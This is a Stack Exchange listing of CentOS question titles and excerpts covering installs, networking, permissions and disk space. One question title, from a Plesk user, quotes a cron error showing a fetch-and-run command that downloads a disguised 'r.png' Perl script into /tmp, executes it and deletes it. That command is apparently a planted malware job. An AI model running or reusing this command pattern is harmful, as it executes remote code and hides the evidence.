CentOS is an Enterprise-class Linux Distribution derived from Redhat Enterprise Linux sources freely provided to the public.

learn more… | top users | synonyms (2)

5
votes
2answers
6k views

How to install CentOS 6.4 on Mac Mini?

I have bought a new Mac Mini, and would like to use it as a Linux server. Now I'm trying to install CentOS on it. I downloaded CentOS-6.4-x86_64-netinstall.iso and booted the Mac Mini from a ...
1
vote
2answers
384 views

Monitoring script started by rc.local

We have a C program which is started using rc.local´. We added a line like this: /usr/local/bin/pc to the rc.local file. pc is a compiled C program. Everything is working fine at the moment. What ...
0
votes
3answers
3k views

libxml2.so.2: cannot open shared object file: No such file or directory

I am using CentOS in which i had removed libxml2 accidentally now it was showing the following error as follows: There was a problem importing one of the Python modules required to run yum. The ...
0
votes
1answer
108 views

OpenVPN problem

I've Configure an OpenVPN (2.0.9) on a CentOS 6.2 (2.6.32-358.2.1.el6.x86_64) to accept OpenVPN client connection. But when I try to connect from Windows 7 by OpenVPN client tool it return me some ...
2
votes
5answers
17k views

USB mount doesn't work on Centos 6.4

I have a problem. After an update, my USB drives are not mounted automatically and I'm unable to mount them manually... The output of my fdisk -l command is: Disk /dev/sdb: 15.8 GB, 15762194432 ...
0
votes
1answer
322 views

Unable to find an option to install CentOS 6.4 (64bit) in command line (linux text) for Asterisk

I am trying to learn Asterisk, so I downloaded the latest CentOS 6.4 (64bit) to install on VMWare Workstation 9. When I started the installation it is not giving any screen to start the installation ...
0
votes
3answers
2k views

Reinstall package in CentOS

I am trying to install a perl package and getting the following dependencies error: [user@localhost Downloads]$ rpm -Uvh ImageMagick-6.8.4-9.i386.rpm error: Failed dependencies: libltdl.so.3 is ...
1
vote
0answers
373 views

Centos 5.3 - Need to use 4 com ports without resource conflicts (system has 6 com ports)

we hope to use 4 serial ports together on Centos 5.3 (could not upgrade to newer version due to application limitation). COM1 and COM2 works perfectly. We use echo to output to customer display to ...
-1
votes
1answer
345 views

How to SSH apache user from a remote guest server on VirtualBox with host-only network?

I have two CentOS virtual machines on VirtualBox . one of them let's say CentOS-1 holds my Web application code. Second is CentOS2. I have two network connections between these two servers : Bridged ...
1
vote
2answers
9k views

rsync error: some files/attrs were not transferred

I'm trying to move my emails Maildir from an old centos server to a new debian server. rsync -avz /home/me/Maildir ssh root@ipaddress:/var/vmail/me/Maildir I tried to copy an 8gb account, didn't ...
3
votes
2answers
991 views

file still read-only after a mount --bind from a rw partition

I use mount --bind to "overlay" a file from one ext4,rw filesystem onto another file in ext4,ro filesystem. For example, /etc/hosts is on a read-only / partition, but I have another partition where ...
1
vote
0answers
860 views

Why doesn't /etc/udev/rules.d/70-persistent-net.rules exist on virtual machines?

CENTOS 5.9 I'm curious, why doesn't /etc/udev/rules.d/70-persistent-net.rules exist on virtual machines with CentOS 5.9? Is there an alternative file name for this when using a virtual machine?
3
votes
1answer
1k views

I opened a port with iptables but still doesnt work

I have a CentOS installation as a guest VM with VirtualBox. I have two ethernet interfaces, eth0 with NAT and DHCP, and eth1 with Host-only adaptor and static IP. I have oracle installed in this ...
0
votes
1answer
2k views

adding home directory after -M option

First off I'm new to Linux. I have created a new user called "ginny" with -M option. Now I'm trying to assign a home directory with usermod -d /link/to/directory ginny but it doesn't assign a home ...
0
votes
1answer
4k views

GRUB reported “error: file not found.” when booting CentOS 5

I installed CentOS 5.3 by using a 4GB USB disk on an old PC that I used run a Debian on it. After a series of housework on the fresh system, I reboot the system using: sudo shutdown -r now After ...
0
votes
0answers
60 views

How can I add PAM functionality in netkit-rsh-0.17

I am using CentOS. In my project, that is working on a network, I need an rsh utility. I downloaded netkit-rsh-0.17 for that and until recently all worked fine. But now I found that this utility ...
2
votes
0answers
198 views

Setting up surround sound with optical out

I have centos 6.3 running on this pc. the built in sound card is detected normally and is a 7.1 card with all speakers listed. It includes a optical out as well as hdmi for the built in video. It ...
0
votes
1answer
950 views

wget hangs AFTER download complete, on exit_group

I am running CentOS release 6.3 (Final). This issue occurs for every VM on my server. When connected over SSH, wget hangs after download certain URLs. I am running the following command: wget ...
5
votes
4answers
7k views

iptables rules not reloading on CentOS 6.x

I have one single ipset added to my iptables on a CentOS 6.x box and this rule is lost when the machine reboots. I've found this answer showing how to make a Ubuntu system reload the iptables rules ...
2
votes
2answers
767 views

How to disable trash?

This is a nice and straightforward question: how can I disable the Trash Can in Gnome running on CentOS/RHEL 6.4? I know I can use Shift + Del, instead of Del to bypass the Trash; but how can I ...
0
votes
2answers
317 views

CentOS GUI problem using Gnome

For some reason lately when I try to set the date using the interface, or simply install a .rpm by double clicking the dialog that should prompt me to input my passowrd just shakes like it has a bug. ...
3
votes
2answers
822 views

Using TMUX on boot up of Linux CentOS

I'm trying to figure out a way in which I can boot TMUX under a user other than root, but automatically whenever Linux starts. At least that's what I think I need. What I want is to be able to SSH ...
0
votes
1answer
231 views

VSFTPD Virtual User Group

Currently I have a Running vsftpd server in a Cent OS Machine with virtual users. Users are authenticated using MySQL. The users has all the permissions in their home directory and they are jailed ...
1
vote
0answers
217 views

403 Forbidden on Sub-Folders

I am a Linux newbie and decided to do a LAMP install to start getting more familiar with it (as our company is moving more towards nix these days). Everything went great and PHPMyAdmin, MySQL, ...
1
vote
1answer
133 views

Establishing I/O Patterns for an Application

Are there any system tools that allow you to profile an application's usage of storage? Basically, I'm looking for information on determining whether there are more large sequential reads, tiny ...
4
votes
1answer
788 views

Centos 6.3 Server ignoring IGMP Queries

I am using a CentOS 6.3 server to subscribe to UDP multicast data, and I noticed that my server doesn't answer the IGMP queries sent by the switch it is connected to. As a result, when I open my ...
1
vote
0answers
992 views

Unable to install Atheros AR8161 Ethernet controller driver for centOS 6

I've installed CentOS 6.3. However, eth0 does not show up on ifconfig. So I figured out that I need to install alx Ethernet driver from here. Since my internet is not working, as ethernet drivers are ...
3
votes
0answers
127 views

RES memory more than initial and maximum memory for java

We have a java application running on Centos 6.4 what we notice is that the RES is around 370m which is more then the allocated max that is 256m. Does this signify that we the application is leaking? ...
6
votes
2answers
8k views

DHCPD ignoring my subnet declaration

eth0, my internal interface, has a static address of 10.0.0.1. I also have an interface, p4p1, acting as my external interface. If it matters, my external interface is not physically connected and ...
0
votes
1answer
751 views

non root ssh keys help

I'm having issues setting up a different CentOS account with its own pair of SSH keys. I have created the required files but when connecting with Putty it says Connection refused, here's the putty ...
0
votes
1answer
234 views

emacs fonts from ssh not as good as locally installed

How can I have the same emacs fonts and antialiasing configuration that I have in my local Ubuntu 12.04 also working when I open an emacs session via ssh to a CentOS 5 system? EDIT: I didn't get an ...
3
votes
1answer
3k views

LDAP authentication broken with upgrade to CentOS 6.4 (sssd)

I have OpenLDAP server: @(#) $OpenLDAP: slapd 2.4.23 (Aug 8 2012 16:29:21) In my configuration have group: ldapsearch -x -b 'cn=groupname,ou=UnixShell,ou=Services,o=example,c=ru' # extended LDIF ...
3
votes
2answers
9k views

How to add an item to the Applications menu?

How can I add an application to Applications > Internet in Gnome Desktop running on CentOS 6.4? Per this old Docs link, it suggests to edit /etc/xdg/menus/applications.menu. How can I add ...
0
votes
0answers
144 views

Booting 32bit CentOS from external HDD on Lenovo IdeaPad Y580

I've got Lenovo IdeaPad Y580 with a 64bit CPU and I would like to boot it from my external Toshiba HDD with a 32bit CentOS 6.4 installed on it. However all my tries ended up with kernel panic: not ...
1
vote
3answers
371 views

Taking away a User's Read/Write/Execute Permission

So I have a user that is able to go in /etc and read files like httpd.conf. I would like to deny that user access to any critical locations such as /etc, /var and so on. What would be the best way ...
13
votes
1answer
14k views

BUG: soft lockup - CPU# stuck for x seconds

I've seen a few bug reports and questions (on stackexchange and elsewhere) regarding a nagging "BUG: soft lockup - CPU#<n> stuck for <dt>s!". So far, I haven't found any clue as to what ...
0
votes
0answers
110 views

User installation emacs 23 on a centos 5 with system-wide installed emacs-21.4-20.el5?

I would like to install my own copy of emacs 23 on a Centos 5 Linux where I don't have admin rights. I would like to have my own modern copy of emacs on this Centos 5 system since I've got a problem ...
0
votes
2answers
2k views

increasing a logical volume

I need to increase the logical volume of the var directory, the maximum size of var right now is 10GB, I need to make it 50GB. I have a Centos 6 server. The output of df -h is: Filesystem ...
-1
votes
1answer
227 views

Plesk, Centos server error: Cron <root@…> cd /tmp;curl -s -O http://…/r.png;perl r.png;rm -fr r.png [closed]

I had the bright idea of clearing some space on the root partition. I thought I was fairly safe from what I have read by removing some of the locale files for Plesk and some of the backup.tar.gz and ...
1
vote
0answers
356 views

selinux, dovecot and sieve

I've just started learning to configure SELINUX and this morning on my CentOS 6.4 x64 system, with postfix/dovecot/mysql installed, I woke up to the following selinux issue found 1 alerts in ...
0
votes
1answer
6k views

Centos freeing up disk space

I have a CentOS server running Plesk and it's run out of space on the plesk partition. I have narrowed down where a lot of the disk space is being used, but I'm not sure how to move forward. Can I ...
1
vote
2answers
904 views

What is the difference between the whatis and apropos commands?

CentOS 6.3 / RHEL 6.3 Can someone please explain the difference between the whatis command and the apropos command? I noticed that both appear to be installed by default and I'm not sure what the ...
0
votes
1answer
559 views

netinstall media of CentOS 6.4 is broken?

I couldn't find a way to customize the partition schema during installation of CentOS 6.4, all these 3 options lead me directly to the "confirm disk change" screen. Was it configured to be so? ...
0
votes
1answer
73 views

Installing a software on Linux- Centos

I am a complete amateur in Linux. There is a software that only runs on Linux. It came with a virtual machine package and every thing. When inside the virtual machine, I run a .py file in the ...
0
votes
2answers
5k views

CentOS doesn't see USB device

I'm running CentOS 6.3 inside of VirtualBox and am having trouble seeing my USB 2.0 thumb drive. In VirtualBox I go to Devices, USB drives and can capture my connected thumb drive. I've created a ...
1
vote
2answers
480 views

Is it possible to have a cron job run more frequently than once every minute?

CentOS 6 I have a shell script that performs a task every minute. The task itself only takes a couple seconds to complete and ideally I'd like to have this shell script execute 2-3 times per ...
3
votes
1answer
4k views

How to colorize “root” in red in CentOS?

This is the content of /etc/bashrc, I would like to modify it for show "root" as red but don't know where to add the color code. # /etc/bashrc # System wide functions and aliases # Environment stuff ...
2
votes
1answer
8k views

How do I configure CentOS 6.4 to allow normal users to run startx, without installing Gnome/KDE?

I installed CentOS 6.4 x86 from the minimal installation CD into a qemu/kvm virtual machine and installed the basic X server using: yum groupinstall "X Window System" "Fonts" When I run startx as a ...
1
vote
3answers
3k views

rsh runs perfectly in normal user but not in root, very strange, why?

When I run command, rsh localhost pwd as a root It shows below output. connect to address 127.0.0.1 port 544: Connection refused Trying krb4 rsh... connect to address 127.0.0.1 port 544: Connection ...
1
vote
1answer
429 views

Limit clamav to one thread

I'm only running on a low memory system so would like to run only one clamd, but i have googled for hours trying to find the answer with no luck. I tried clamscan instead but it takes far too long to ...